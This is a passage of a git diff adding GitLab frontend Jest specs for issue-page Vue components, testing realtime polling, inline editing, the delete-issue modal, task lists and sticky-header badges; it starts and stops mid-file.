+ <summary>One</summary>
+ </details>
+ <details>
+ <summary>Two</summary>
+ </details>
+ </div>
+ <div class="flash-container"></div>
+ <span id="task_status"></span>
+ </div>
+ `);
+
+ mock = new MockAdapter(axios);
+ mock
+ .onGet('/gitlab-org/gitlab-shell/-/issues/9/realtime_changes/realtime_changes')
+ .reply(() => {
+ const res = Promise.resolve([200, REALTIME_REQUEST_STACK[realtimeRequestCount]]);
+ realtimeRequestCount += 1;
+ return res;
+ });
+
+ mountComponent();
+
+ jest.advanceTimersByTime(2);
+ });
+
+ afterEach(() => {
+ mock.restore();
+ realtimeRequestCount = 0;
+ wrapper.vm.poll.stop();
+ wrapper.destroy();
+ });
+
+ it('should render a title/description/edited and update title/description/edited on update', () => {
+ let editedText;
+ return axios
+ .waitForAll()
+ .then(() => {
+ editedText = wrapper.find('.edited-text');
+ })
+ .then(() => {
+ expect(document.querySelector('title').innerText).toContain('this is a title (#1)');
+ expect(wrapper.find('.title').text()).toContain('this is a title');
+ expect(wrapper.find('.md').text()).toContain('this is a description!');
+ expect(wrapper.find('.js-task-list-field').element.value).toContain(
+ 'this is a description',
+ );
+
+ expect(formatText(editedText.text())).toMatch(/Edited[\s\S]+?by Some User/);
+ expect(editedText.find('.author-link').attributes('href')).toMatch(/\/some_user$/);
+ expect(editedText.find('time').text()).toBeTruthy();
+ expect(wrapper.vm.state.lock_version).toBe(initialRequest.lock_version);
+ })
+ .then(() => {
+ wrapper.vm.poll.makeRequest();
+ return axios.waitForAll();
+ })
+ .then(() => {
+ expect(document.querySelector('title').innerText).toContain('2 (#1)');
+ expect(wrapper.find('.title').text()).toContain('2');
+ expect(wrapper.find('.md').text()).toContain('42');
+ expect(wrapper.find('.js-task-list-field').element.value).toContain('42');
+ expect(wrapper.find('.edited-text').text()).toBeTruthy();
+ expect(formatText(wrapper.find('.edited-text').text())).toMatch(
+ /Edited[\s\S]+?by Other User/,
+ );
+
+ expect(editedText.find('.author-link').attributes('href')).toMatch(/\/other_user$/);
+ expect(editedText.find('time').text()).toBeTruthy();
+ // As the lock_version value does not differ from the server,
+ // we should not see an alert
+ expect(findAlert().exists()).toBe(false);
+ });
+ });
+
+ it('shows actions if permissions are correct', () => {
+ wrapper.vm.showForm = true;
+
+ return wrapper.vm.$nextTick().then(() => {
+ expect(wrapper.find('.markdown-selector').exists()).toBe(true);
+ });
+ });
+
+ it('does not show actions if permissions are incorrect', () => {
+ wrapper.vm.showForm = true;
+ wrapper.setProps({ canUpdate: false });
+
+ return wrapper.vm.$nextTick().then(() => {
+ expect(wrapper.find('.markdown-selector').exists()).toBe(false);
+ });
+ });
+
+ it('does not update formState if form is already open', () => {
+ wrapper.vm.updateAndShowForm();
+
+ wrapper.vm.state.titleText = 'testing 123';
+
+ wrapper.vm.updateAndShowForm();
+
+ return wrapper.vm.$nextTick().then(() => {
+ expect(wrapper.vm.store.formState.title).not.toBe('testing 123');
+ });
+ });
+
+ describe('Pinned links propagated', () => {
+ it.each`
+ prop | value
+ ${'zoomMeetingUrl'} | ${zoomMeetingUrl}
+ ${'publishedIncidentUrl'} | ${publishedIncidentUrl}
+ `('sets the $prop correctly on underlying pinned links', ({ prop, value }) => {
+ expect(wrapper.vm[prop]).toBe(value);
+ expect(wrapper.find(`[data-testid="${prop}"]`).attributes('href')).toBe(value);
+ });
+ });
+
+ describe('updateIssuable', () => {
+ it('fetches new data after update', () => {
+ const updateStoreSpy = jest.spyOn(wrapper.vm, 'updateStoreState');
+ const getDataSpy = jest.spyOn(wrapper.vm.service, 'getData');
+ jest.spyOn(wrapper.vm.service, 'updateIssuable').mockResolvedValue({
+ data: { web_url: window.location.pathname },
+ });
+
+ return wrapper.vm.updateIssuable().then(() => {
+ expect(updateStoreSpy).toHaveBeenCalled();
+ expect(getDataSpy).toHaveBeenCalled();
+ });
+ });
+
+ it('correctly updates issuable data', () => {
+ const spy = jest.spyOn(wrapper.vm.service, 'updateIssuable').mockResolvedValue({
+ data: { web_url: window.location.pathname },
+ });
+
+ return wrapper.vm.updateIssuable().then(() => {
+ expect(spy).toHaveBeenCalledWith(wrapper.vm.formState);
+ expect(eventHub.$emit).toHaveBeenCalledWith('close.form');
+ });
+ });
+
+ it('does not redirect if issue has not moved', () => {
+ jest.spyOn(wrapper.vm.service, 'updateIssuable').mockResolvedValue({
+ data: {
+ web_url: window.location.pathname,
+ confidential: wrapper.vm.isConfidential,
+ },
+ });
+
+ return wrapper.vm.updateIssuable().then(() => {
+ expect(visitUrl).not.toHaveBeenCalled();
+ });
+ });
+
+ it('does not redirect if issue has not moved and user has switched tabs', () => {
+ jest.spyOn(wrapper.vm.service, 'updateIssuable').mockResolvedValue({
+ data: {
+ web_url: '',
+ confidential: wrapper.vm.isConfidential,
+ },
+ });
+
+ return wrapper.vm.updateIssuable().then(() => {
+ expect(visitUrl).not.toHaveBeenCalled();
+ });
+ });
+
+ it('redirects if returned web_url has changed', () => {
+ jest.spyOn(wrapper.vm.service, 'updateIssuable').mockResolvedValue({
+ data: {
+ web_url: '/testing-issue-move',
+ confidential: wrapper.vm.isConfidential,
+ },
+ });
+
+ wrapper.vm.updateIssuable();
+
+ return wrapper.vm.updateIssuable().then(() => {
+ expect(visitUrl).toHaveBeenCalledWith('/testing-issue-move');
+ });
+ });
+
+ describe('shows dialog when issue has unsaved changed', () => {
+ it('confirms on title change', () => {
+ wrapper.vm.showForm = true;
+ wrapper.vm.state.titleText = 'title has changed';
+ const e = { returnValue: null };
+ wrapper.vm.handleBeforeUnloadEvent(e);
+
+ return wrapper.vm.$nextTick().then(() => {
+ expect(e.returnValue).not.toBeNull();
+ });
+ });
+
+ it('confirms on description change', () => {
+ wrapper.vm.showForm = true;
+ wrapper.vm.state.descriptionText = 'description has changed';
+ const e = { returnValue: null };
+ wrapper.vm.handleBeforeUnloadEvent(e);
+
+ return wrapper.vm.$nextTick().then(() => {
+ expect(e.returnValue).not.toBeNull();
+ });
+ });
+
+ it('does nothing when nothing has changed', () => {
+ const e = { returnValue: null };
+ wrapper.vm.handleBeforeUnloadEvent(e);
+
+ return wrapper.vm.$nextTick().then(() => {
+ expect(e.returnValue).toBeNull();
+ });
+ });
+ });
+
+ describe('error when updating', () => {
+ it('closes form on error', () => {
+ jest.spyOn(wrapper.vm.service, 'updateIssuable').mockRejectedValue();
+
+ return wrapper.vm.updateIssuable().then(() => {
+ expect(eventHub.$emit).not.toHaveBeenCalledWith('close.form');
+ expect(document.querySelector('.flash-container .flash-text').innerText.trim()).toBe(
+ `Error updating issue`,
+ );
+ });
+ });
+
+ it('returns the correct error message for issuableType', () => {
+ jest.spyOn(wrapper.vm.service, 'updateIssuable').mockRejectedValue();
+ wrapper.setProps({ issuableType: 'merge request' });
+
+ return wrapper.vm
+ .$nextTick()
+ .then(wrapper.vm.updateIssuable)
+ .then(() => {
+ expect(eventHub.$emit).not.toHaveBeenCalledWith('close.form');
+ expect(document.querySelector('.flash-container .flash-text').innerText.trim()).toBe(
+ `Error updating merge request`,
+ );
+ });
+ });
+
+ it('shows error message from backend if exists', () => {
+ const msg = 'Custom error message from backend';
+ jest
+ .spyOn(wrapper.vm.service, 'updateIssuable')
+ .mockRejectedValue({ response: { data: { errors: [msg] } } });
+
+ return wrapper.vm.updateIssuable().then(() => {
+ expect(document.querySelector('.flash-container .flash-text').innerText.trim()).toBe(
+ `${wrapper.vm.defaultErrorMessage}. ${msg}`,
+ );
+ });
+ });
+ });
+ });
+
+ describe('updateAndShowForm', () => {
+ it('shows locked warning if form is open & data is different', () => {
+ return wrapper.vm
+ .$nextTick()
+ .then(() => {
+ wrapper.vm.updateAndShowForm();
+
+ wrapper.vm.poll.makeRequest();
+
+ return new Promise((resolve) => {
+ wrapper.vm.$watch('formState.lockedWarningVisible', (value) => {
+ if (value) {
+ resolve();
+ }
+ });
+ });
+ })
+ .then(() => {
+ expect(wrapper.vm.formState.lockedWarningVisible).toBe(true);
+ expect(wrapper.vm.formState.lock_version).toBe(1);
+ expect(findAlert().exists()).toBe(true);
+ });
+ });
+ });
+
+ describe('requestTemplatesAndShowForm', () => {
+ let formSpy;
+
+ beforeEach(() => {
+ formSpy = jest.spyOn(wrapper.vm, 'updateAndShowForm');
+ });
+
+ it('shows the form if template names as hash request is successful', () => {
+ const mockData = {
+ test: [{ name: 'test', id: 'test', project_path: '/', namespace_path: '/' }],
+ };
+ mock.onGet('/issuable-templates-path').reply(() => Promise.resolve([200, mockData]));
+
+ return wrapper.vm.requestTemplatesAndShowForm().then(() => {
+ expect(formSpy).toHaveBeenCalledWith(mockData);
+ });
+ });
+
+ it('shows the form if template names as array request is successful', () => {
+ const mockData = [{ name: 'test', id: 'test', project_path: '/', namespace_path: '/' }];
+ mock.onGet('/issuable-templates-path').reply(() => Promise.resolve([200, mockData]));
+
+ return wrapper.vm.requestTemplatesAndShowForm().then(() => {
+ expect(formSpy).toHaveBeenCalledWith(mockData);
+ });
+ });
+
+ it('shows the form if template names request failed', () => {
+ mock
+ .onGet('/issuable-templates-path')
+ .reply(() => Promise.reject(new Error('something went wrong')));
+
+ return wrapper.vm.requestTemplatesAndShowForm().then(() => {
+ expect(document.querySelector('.flash-container .flash-text').textContent).toContain(
+ 'Error updating issue',
+ );
+
+ expect(formSpy).toHaveBeenCalledWith();
+ });
+ });
+ });
+
+ describe('show inline edit button', () => {
+ it('should not render by default', () => {
+ expect(wrapper.find('.btn-edit').exists()).toBe(true);
+ });
+
+ it('should render if showInlineEditButton', () => {
+ wrapper.setProps({ showInlineEditButton: true });
+
+ return wrapper.vm.$nextTick(() => {
+ expect(wrapper.find('.btn-edit').exists()).toBe(true);
+ });
+ });
+ });
+
+ describe('updateStoreState', () => {
+ it('should make a request and update the state of the store', () => {
+ const data = { foo: 1 };
+ const getDataSpy = jest.spyOn(wrapper.vm.service, 'getData').mockResolvedValue({ data });
+ const updateStateSpy = jest
+ .spyOn(wrapper.vm.store, 'updateState')
+ .mockImplementation(jest.fn);
+
+ return wrapper.vm.updateStoreState().then(() => {
+ expect(getDataSpy).toHaveBeenCalled();
+ expect(updateStateSpy).toHaveBeenCalledWith(data);
+ });
+ });
+
+ it('should show error message if store update fails', () => {
+ jest.spyOn(wrapper.vm.service, 'getData').mockRejectedValue();
+ wrapper.setProps({ issuableType: 'merge request' });
+
+ return wrapper.vm.updateStoreState().then(() => {
+ expect(document.querySelector('.flash-container .flash-text').innerText.trim()).toBe(
+ `Error updating ${wrapper.vm.issuableType}`,
+ );
+ });
+ });
+ });
+
+ describe('issueChanged', () => {
+ beforeEach(() => {
+ wrapper.vm.store.formState.title = '';
+ wrapper.vm.store.formState.description = '';
+ wrapper.setProps({
+ initialDescriptionText: '',
+ initialTitleText: '',
+ });
+ });
+
+ it('returns true when title is changed', () => {
+ wrapper.vm.store.formState.title = 'RandomText';
+
+ expect(wrapper.vm.issueChanged).toBe(true);
+ });
+
+ it('returns false when title is empty null', () => {
+ wrapper.vm.store.formState.title = null;
+
+ expect(wrapper.vm.issueChanged).toBe(false);
+ });
+
+ it('returns true when description is changed', () => {
+ wrapper.vm.store.formState.description = 'RandomText';
+
+ expect(wrapper.vm.issueChanged).toBe(true);
+ });
+
+ it('returns false when description is empty null', () => {
+ wrapper.vm.store.formState.description = null;
+
+ expect(wrapper.vm.issueChanged).toBe(false);
+ });
+
+ it('returns false when `initialDescriptionText` is null and `formState.description` is empty string', () => {
+ wrapper.vm.store.formState.description = '';
+ wrapper.setProps({ initialDescriptionText: null });
+
+ expect(wrapper.vm.issueChanged).toBe(false);
+ });
+ });
+
+ describe('sticky header', () => {
+ describe('when title is in view', () => {
+ it('is not shown', () => {
+ expect(findStickyHeader().exists()).toBe(false);
+ });
+ });
+
+ describe('when title is not in view', () => {
+ beforeEach(() => {
+ wrapper.vm.state.titleText = 'Sticky header title';
+ wrapper.find(GlIntersectionObserver).vm.$emit('disappear');
+ });
+
+ it('shows with title', () => {
+ expect(findStickyHeader().text()).toContain('Sticky header title');
+ });
+
+ it.each`
+ title | state
+ ${'shows with Open when status is opened'} | ${IssuableStatus.Open}
+ ${'shows with Closed when status is closed'} | ${IssuableStatus.Closed}
+ ${'shows with Open when status is reopened'} | ${IssuableStatus.Reopened}
+ `('$title', async ({ state }) => {
+ wrapper.setProps({ issuableStatus: state });
+
+ await nextTick();
+
+ expect(findStickyHeader().text()).toContain(IssuableStatusText[state]);
+ });
+
+ it.each`
+ title | isConfidential
+ ${'does not show confidential badge when issue is not confidential'} | ${false}
+ ${'shows confidential badge when issue is confidential'} | ${true}
+ `('$title', async ({ isConfidential }) => {
+ wrapper.setProps({ isConfidential });
+
+ await nextTick();
+
+ expect(findConfidentialBadge().exists()).toBe(isConfidential);
+ });
+
+ it.each`
+ title | isLocked
+ ${'does not show locked badge when issue is not locked'} | ${false}
+ ${'shows locked badge when issue is locked'} | ${true}
+ `('$title', async ({ isLocked }) => {
+ wrapper.setProps({ isLocked });
+
+ await nextTick();
+
+ expect(findLockedBadge().exists()).toBe(isLocked);
+ });
+
+ it.each`
+ title | isHidden
+ ${'does not show hidden badge when issue is not hidden'} | ${false}
+ ${'shows hidden badge when issue is hidden'} | ${true}
+ `('$title', async ({ isHidden }) => {
+ wrapper.setProps({ isHidden });
+
+ await nextTick();
+
+ const hiddenBadge = findHiddenBadge();
+
+ expect(hiddenBadge.exists()).toBe(isHidden);
+
+ if (isHidden) {
+ expect(hiddenBadge.attributes('title')).toBe(
+ 'This issue is hidden because its author has been banned',
+ );
+ expect(getBinding(hiddenBadge.element, 'gl-tooltip')).not.toBeUndefined();
+ }
+ });
+ });
+ });
+
+ describe('Composable description component', () => {
+ const findIncidentTabs = () => wrapper.findComponent(IncidentTabs);
+ const findDescriptionComponent = () => wrapper.findComponent(DescriptionComponent);
+ const findPinnedLinks = () => wrapper.findComponent(PinnedLinks);
+ const borderClass = 'gl-border-b-1 gl-border-b-gray-100 gl-border-b-solid gl-mb-6';
+
+ describe('when using description component', () => {
+ it('renders the description component', () => {
+ expect(findDescriptionComponent().exists()).toBe(true);
+ });
+
+ it('does not render incident tabs', () => {
+ expect(findIncidentTabs().exists()).toBe(false);
+ });
+
+ it('adds a border below the header', () => {
+ expect(findPinnedLinks().attributes('class')).toContain(borderClass);
+ });
+ });
+
+ describe('when using incident tabs description wrapper', () => {
+ beforeEach(() => {
+ mountComponent(
+ {
+ descriptionComponent: IncidentTabs,
+ showTitleBorder: false,
+ },
+ {
+ mocks: {
+ $apollo: {
+ queries: {
+ alert: {
+ loading: false,
+ },
+ },
+ },
+ },
+ },
+ );
+ });
+
+ it('renders the description component', () => {
+ expect(findDescriptionComponent().exists()).toBe(true);
+ });
+
+ it('renders incident tabs', () => {
+ expect(findIncidentTabs().exists()).toBe(true);
+ });
+
+ it('does not add a border below the header', () => {
+ expect(findPinnedLinks().attributes('class')).not.toContain(borderClass);
+ });
+ });
+ });
+
+ describe('taskListUpdateStarted', () => {
+ it('stops polling', () => {
+ jest.spyOn(wrapper.vm.poll, 'stop');
+
+ wrapper.vm.taskListUpdateStarted();
+
+ expect(wrapper.vm.poll.stop).toHaveBeenCalled();
+ });
+ });
+
+ describe('taskListUpdateSucceeded', () => {
+ it('enables polling', () => {
+ jest.spyOn(wrapper.vm.poll, 'enable');
+ jest.spyOn(wrapper.vm.poll, 'makeDelayedRequest');
+
+ wrapper.vm.taskListUpdateSucceeded();
+
+ expect(wrapper.vm.poll.enable).toHaveBeenCalled();
+ expect(wrapper.vm.poll.makeDelayedRequest).toHaveBeenCalledWith(POLLING_DELAY);
+ });
+ });
+
+ describe('taskListUpdateFailed', () => {
+ it('enables polling and calls updateStoreState', () => {
+ jest.spyOn(wrapper.vm.poll, 'enable');
+ jest.spyOn(wrapper.vm.poll, 'makeDelayedRequest');
+ jest.spyOn(wrapper.vm, 'updateStoreState');
+
+ wrapper.vm.taskListUpdateFailed();
+
+ expect(wrapper.vm.poll.enable).toHaveBeenCalled();
+ expect(wrapper.vm.poll.makeDelayedRequest).toHaveBeenCalledWith(POLLING_DELAY);
+ expect(wrapper.vm.updateStoreState).toHaveBeenCalled();
+ });
+ });
+});
diff --git a/spec/frontend/issues/show/components/delete_issue_modal_spec.js b/spec/frontend/issues/show/components/delete_issue_modal_spec.js
new file mode 100644
index 00000000000..97a091a1748
--- /dev/null
+++ b/spec/frontend/issues/show/components/delete_issue_modal_spec.js
@@ -0,0 +1,108 @@
+import { GlModal } from '@gitlab/ui';
+import { shallowMount } from '@vue/test-utils';
+import DeleteIssueModal from '~/issues/show/components/delete_issue_modal.vue';
+
+jest.mock('~/lib/utils/csrf', () => ({ token: 'mock-csrf-token' }));
+
+describe('DeleteIssueModal component', () => {
+ let wrapper;
+
+ const defaultProps = {
+ issuePath: 'gitlab-org/gitlab-test/-/issues/1',
+ issueType: 'issue',
+ modalId: 'modal-id',
+ title: 'Delete issue',
+ };
+
+ const findForm = () => wrapper.find('form');
+ const findModal = () => wrapper.findComponent(GlModal);
+
+ const mountComponent = (props = {}) =>
+ shallowMount(DeleteIssueModal, { propsData: { ...defaultProps, ...props } });
+
+ afterEach(() => {
+ wrapper.destroy();
+ });
+
+ describe('modal', () => {
+ it('renders', () => {
+ wrapper = mountComponent();
+
+ expect(findModal().props()).toMatchObject({
+ actionCancel: DeleteIssueModal.actionCancel,
+ actionPrimary: {
+ attributes: { variant: 'danger' },
+ text: defaultProps.title,
+ },
+ modalId: defaultProps.modalId,
+ size: 'sm',
+ title: defaultProps.title,
+ });
+ });
+
+ describe('when "primary" event is emitted', () => {
+ let formSubmitSpy;
+
+ beforeEach(() => {
+ wrapper = mountComponent();
+ formSubmitSpy = jest.spyOn(wrapper.vm.$refs.form, 'submit');
+ findModal().vm.$emit('primary');
+ });
+
+ it('"delete" event is emitted by DeleteIssueModal', () => {
+ expect(wrapper.emitted('delete')).toEqual([[]]);
+ });
+
+ it('submits the form', () => {
+ expect(formSubmitSpy).toHaveBeenCalled();
+ });
+ });
+ });
+
+ describe('form', () => {
+ beforeEach(() => {
+ wrapper = mountComponent();
+ });
+
+ it('renders with action and method', () => {
+ expect(findForm().attributes()).toEqual({
+ action: defaultProps.issuePath,
+ method: 'post',
+ });
+ });
+
+ it('contains form data', () => {
+ const formData = wrapper.findAll('input').wrappers.reduce(
+ (acc, input) => ({
+ ...acc,
+ [input.element.name]: input.element.value,
+ }),
+ {},
+ );
+
+ expect(formData).toEqual({
+ _method: 'delete',
+ authenticity_token: 'mock-csrf-token',
+ destroy_confirm: 'true',
+ });
+ });
+ });
+
+ describe('body text', () => {
+ describe('when issue type is not epic', () => {
+ it('renders', () => {
+ wrapper = mountComponent();
+
+ expect(findForm().text()).toBe('Issue will be removed! Are you sure?');
+ });
+ });
+
+ describe('when issue type is epic', () => {
+ it('renders', () => {
+ wrapper = mountComponent({ issueType: 'epic' });
+
+ expect(findForm().text()).toBe('Delete this epic and all descendants?');
+ });
+ });
+ });
+});
diff --git a/spec/frontend/issues/show/components/description_spec.js b/spec/frontend/issues/show/components/description_spec.js
new file mode 100644
index 00000000000..d39e00b9c9e
--- /dev/null
+++ b/spec/frontend/issues/show/components/description_spec.js
@@ -0,0 +1,187 @@
+import $ from 'jquery';
+import Vue from 'vue';
+import '~/behaviors/markdown/render_gfm';
+import { TEST_HOST } from 'helpers/test_constants';
+import mountComponent from 'helpers/vue_mount_component_helper';
+import Description from '~/issues/show/components/description.vue';
+import TaskList from '~/task_list';
+import { descriptionProps as props } from '../mock_data/mock_data';
+
+jest.mock('~/task_list');
+
+describe('Description component', () => {
+ let vm;
+ let DescriptionComponent;
+
+ beforeEach(() => {
+ DescriptionComponent = Vue.extend(Description);
+
+ if (!document.querySelector('.issuable-meta')) {
+ const metaData = document.createElement('div');
+ metaData.classList.add('issuable-meta');
+ metaData.innerHTML =
+ '<div class="flash-container"></div><span id="task_status"></span><span id="task_status_short"></span>';
+
+ document.body.appendChild(metaData);
+ }
+
+ vm = mountComponent(DescriptionComponent, props);
+ });
+
+ afterEach(() => {
+ vm.$destroy();
+ });
+
+ afterAll(() => {
+ $('.issuable-meta .flash-container').remove();
+ });
+
+ it('doesnt animate first description changes', () => {
+ vm.descriptionHtml = 'changed';
+
+ return vm.$nextTick().then(() => {
+ expect(
+ vm.$el.querySelector('.md').classList.contains('issue-realtime-pre-pulse'),
+ ).toBeFalsy();
+ jest.runAllTimers();
+ return vm.$nextTick();
+ });
+ });
+
+ it('animates description changes on live update', () => {
+ vm.descriptionHtml = 'changed';
+ return vm
+ .$nextTick()
+ .then(() => {
+ vm.descriptionHtml = 'changed second time';
+ return vm.$nextTick();
+ })
+ .then(() => {
+ expect(
+ vm.$el.querySelector('.md').classList.contains('issue-realtime-pre-pulse'),
+ ).toBeTruthy();
+ jest.runAllTimers();
+ return vm.$nextTick();
+ })
+ .then(() => {
+ expect(
+ vm.$el.querySelector('.md').classList.contains('issue-realtime-trigger-pulse'),
+ ).toBeTruthy();
+ });
+ });
+
+ it('applies syntax highlighting and math when description changed', () => {
+ const vmSpy = jest.spyOn(vm, 'renderGFM');
+ const prototypeSpy = jest.spyOn($.prototype, 'renderGFM');
+ vm.descriptionHtml = 'changed';
+
+ return vm.$nextTick().then(() => {
+ expect(vm.$refs['gfm-content']).toBeDefined();
+ expect(vmSpy).toHaveBeenCalled();
+ expect(prototypeSpy).toHaveBeenCalled();
+ expect($.prototype.renderGFM).toHaveBeenCalled();
+ });
+ });
+
+ it('sets data-update-url', () => {
+ expect(vm.$el.querySelector('textarea').dataset.updateUrl).toEqual(TEST_HOST);
+ });
+
+ describe('TaskList', () => {
+ beforeEach(() => {
+ vm.$destroy();
+ TaskList.mockClear();
+ vm = mountComponent(DescriptionComponent, { ...props, issuableType: 'issuableType' });
+ });
+
+ it('re-inits the TaskList when description changed', () => {
+ vm.descriptionHtml = 'changed';
+
+ expect(TaskList).toHaveBeenCalled();
+ });
+
+ it('does not re-init the TaskList when canUpdate is false', () => {
+ vm.canUpdate = false;
+ vm.descriptionHtml = 'changed';
+
+ expect(TaskList).toHaveBeenCalledTimes(1);
+ });
+
+ it('calls with issuableType dataType', () => {
+ vm.descriptionHtml = 'changed';
+
+ expect(TaskList).toHaveBeenCalledWith({
+ dataType: 'issuableType',
+ fieldName: 'description',
+ selector: '.detail-page-description',
+ onUpdate: expect.any(Function),
+ onSuccess: expect.any(Function),
+ onError: expect.any(Function),
+ lockVersion: 0,
+ });
+ });
+ });
+
+ describe('taskStatus', () => {
+ it('adds full taskStatus', () => {
+ vm.taskStatus = '1 of 1';
+
+ return vm.$nextTick().then(() => {
+ expect(document.querySelector('.issuable-meta #task_status').textContent.trim()).toBe(
+ '1 of 1',
+ );
+ });
+ });
+
+ it('adds short taskStatus', () => {
+ vm.taskStatus = '1 of 1';
+
+ return vm.$nextTick().then(() => {
+ expect(document.querySelector('.issuable-meta #task_status_short').textContent.trim()).toBe(
+ '1/1 task',
+ );
+ });
+ });
+
+ it('clears task status text when no tasks are present', () => {
+ vm.taskStatus = '0 of 0';
+
+ return vm.$nextTick().then(() => {
+ expect(document.querySelector('.issuable-meta #task_status').textContent.trim()).toBe('');
+ });
+ });
+ });
+
+ describe('taskListUpdateStarted', () => {
+ it('emits event to parent', () => {
+ const spy = jest.spyOn(vm, '$emit');
+
+ vm.taskListUpdateStarted();
+
+ expect(spy).toHaveBeenCalledWith('taskListUpdateStarted');
+ });
+ });
+
+ describe('taskListUpdateSuccess', () => {
+ it('emits event to parent', () => {
+ const spy = jest.spyOn(vm, '$emit');
+
+ vm.taskListUpdateSuccess();
+
+ expect(spy).toHaveBeenCalledWith('taskListUpdateSucceeded');
+ });
+ });
+
+ describe('taskListUpdateError', () => {
+ it('should create flash notification and emit an event to parent', () => {
+ const msg =
+ 'Someone edited this issue at the same time you did. The description has been updated and you will need to make your changes again.';
+ const spy = jest.spyOn(vm, '$emit');
+
+ vm.taskListUpdateError();
+
+ expect(document.querySelector('.flash-container .flash-text').innerText.trim()).toBe(msg);
+ expect(spy).toHaveBeenCalledWith('taskListUpdateFailed');
+ });
+ });
+});
diff --git a/spec/frontend/issues/show/components/edit_actions_spec.js b/spec/frontend/issues/show/components/edit_actions_spec.js
new file mode 100644
index 00000000000..79368023d76
--- /dev/null
+++ b/spec/frontend/issues/show/components/edit_actions_spec.js
@@ -0,0 +1,181 @@
+import { GlButton } from '@gitlab/ui';
+import Vue from 'vue';
+import VueApollo from 'vue-apollo';
+import createMockApollo from 'helpers/mock_apollo_helper';
+import { mockTracking } from 'helpers/tracking_helper';
+import { shallowMountExtended } from 'helpers/vue_test_utils_helper';
+import waitForPromises from 'helpers/wait_for_promises';
+import IssuableEditActions from '~/issues/show/components/edit_actions.vue';
+import DeleteIssueModal from '~/issues/show/components/delete_issue_modal.vue';
+import eventHub from '~/issues/show/event_hub';
+import {
+ getIssueStateQueryResponse,
+ updateIssueStateQueryResponse,
+} from '../mock_data/apollo_mock';
+
+describe('Edit Actions component', () => {
+ let wrapper;
+ let fakeApollo;
+ let mockIssueStateData;
+
+ Vue.use(VueApollo);
+
+ const mockResolvers = {
+ Query: {
+ issueState() {
+ return {
+ __typename: 'IssueState',
+ rawData: mockIssueStateData(),
+ };
+ },
+ },
+ };
+
+ const modalId = 'delete-issuable-modal-1';
+
+ const createComponent = ({ props, data } = {}) => {
+ fakeApollo = createMockApollo([], mockResolvers);
+
+ wrapper = shallowMountExtended(IssuableEditActions, {
+ apolloProvider: fakeApollo,
+ propsData: {
+ formState: {
+ title: 'GitLab Issue',
+ },
+ canDestroy: true,
+ endpoint: 'gitlab-org/gitlab-test/-/issues/1',
+ issuableType: 'issue',
+ ...props,
+ },
+ data() {
+ return {
+ issueState: {},
+ modalId,
+ ...data,
+ };
+ },
+ });
+ };
+
+ const findModal = () => wrapper.findComponent(DeleteIssueModal);
+ const findEditButtons = () => wrapper.findAllComponents(GlButton);
+ const findDeleteButton = () => wrapper.findByTestId('issuable-delete-button');
+ const findSaveButton = () => wrapper.findByTestId('issuable-save-button');
+ const findCancelButton = () => wrapper.findByTestId('issuable-cancel-button');
+
+ beforeEach(() => {
+ mockIssueStateData = jest.fn();
+ createComponent();
+ });
+
+ afterEach(() => {
+ wrapper.destroy();
+ });
+
+ it('renders all buttons as enabled', () => {
+ const buttons = findEditButtons().wrappers;
+ buttons.forEach((button) => {
+ expect(button.attributes('disabled')).toBeFalsy();
+ });
+ });
+
+ it('does not render the delete button if canDestroy is false', () => {
+ createComponent({ props: { canDestroy: false } });
+ expect(findDeleteButton().exists()).toBe(false);
+ });
+
+ it('disables save button when title is blank', () => {
+ createComponent({ props: { formState: { title: '', issue_type: '' } } });
+
+ expect(findSaveButton().attributes('disabled')).toBe('true');
+ });
+
+ it('does not render the delete button if showDeleteButton is false', () => {
+ createComponent({ props: { showDeleteButton: false } });
+
+ expect(findDeleteButton().exists()).toBe(false);
+ });
+
+ describe('updateIssuable', () => {
+ beforeEach(() => {
+ jest.spyOn(eventHub, '$emit').mockImplementation(() => {});
+ });
+
+ it('sends update.issauble event when clicking save button', () => {
+ findSaveButton().vm.$emit('click', { preventDefault: jest.fn() });
+
+ expect(eventHub.$emit).toHaveBeenCalledWith('update.issuable');
+ });
+ });
+
+ describe('closeForm', () => {
+ beforeEach(() => {
+ jest.spyOn(eventHub, '$emit').mockImplementation(() => {});
+ });
+
+ it('emits close.form when clicking cancel', () => {
+ findCancelButton().vm.$emit('click');
+
+ expect(eventHub.$emit).toHaveBeenCalledWith('close.form');
+ });
+ });
+
+ describe('delete issue button', () => {
+ let trackingSpy;
+
+ beforeEach(() => {
+ trackingSpy = mockTracking(undefined, wrapper.element, jest.spyOn);
+ });
+
+ it('tracks clicking on button', () => {
+ findDeleteButton().vm.$emit('click');
+
+ expect(trackingSpy).toHaveBeenCalledWith(undefined, 'click_button', {
+ label: 'delete_issue',
+ });
+ });
+ });
+
+ describe('delete issue modal', () => {
+ it('renders', () => {
+ expect(findModal().props()).toEqual({
+ issuePath: 'gitlab-org/gitlab-test/-/issues/1',
+ issueType: 'Issue',
+ modalId,
+ title: 'Delete issue',
+ });
+ });
+ });
+
+ describe('deleteIssuable', () => {
+ beforeEach(() => {
+ jest.spyOn(eventHub, '$emit').mockImplementation(() => {});
+ });
+
+ it('does not send the `delete.issuable` event when clicking delete button', () => {
+ findDeleteButton().vm.$emit('click');
+ expect(eventHub.$emit).not.toHaveBeenCalled();
+ });
+
+ it('sends the `delete.issuable` event when clicking the delete confirm button', async () => {
+ expect(eventHub.$emit).toHaveBeenCalledTimes(0);
+ findModal().vm.$emit('delete');
+ expect(eventHub.$emit).toHaveBeenCalledWith('delete.issuable');
+ expect(eventHub.$emit).toHaveBeenCalledTimes(1);
+ });
+ });
+
+ describe('with Apollo cache mock', () => {
+ it('renders the right delete button text per apollo cache type', async () => {
+ mockIssueStateData.mockResolvedValue(getIssueStateQueryResponse);
+ await waitForPromises();
+ expect(findDeleteButton().text()).toBe('Delete issue');
+ });
+
+ it('should not change the delete button text per apollo cache mutation', async () => {
+ mockIssueStateData.mockResolvedValue(updateIssueStateQueryResponse);
+ await waitForPromises();
+ expect(findDeleteButton().text()).toBe('Delete issue');
+ });
+ });
+});
diff --git a/spec/frontend/issues/show/components/edited_spec.js b/spec/frontend/issues/show/components/edited_spec.js
new file mode 100644
index 00000000000..8a8fe23230a
--- /dev/null
+++ b/spec/frontend/issues/show/components/edited_spec.js
@@ -0,0 +1,49 @@
+import Vue from 'vue';
+import edited from '~/issues/show/components/edited.vue';
+
+function formatText(text) {
+ return text.trim().replace(/\s\s+/g, ' ');
+}
+
+describe('edited', () => {
+ const EditedComponent = Vue.extend(edited);
+
+ it('should render an edited at+by string', () => {
+ const editedComponent = new EditedComponent({
+ propsData: {
+ updatedAt: '2017-05-15T12:31:04.428Z',
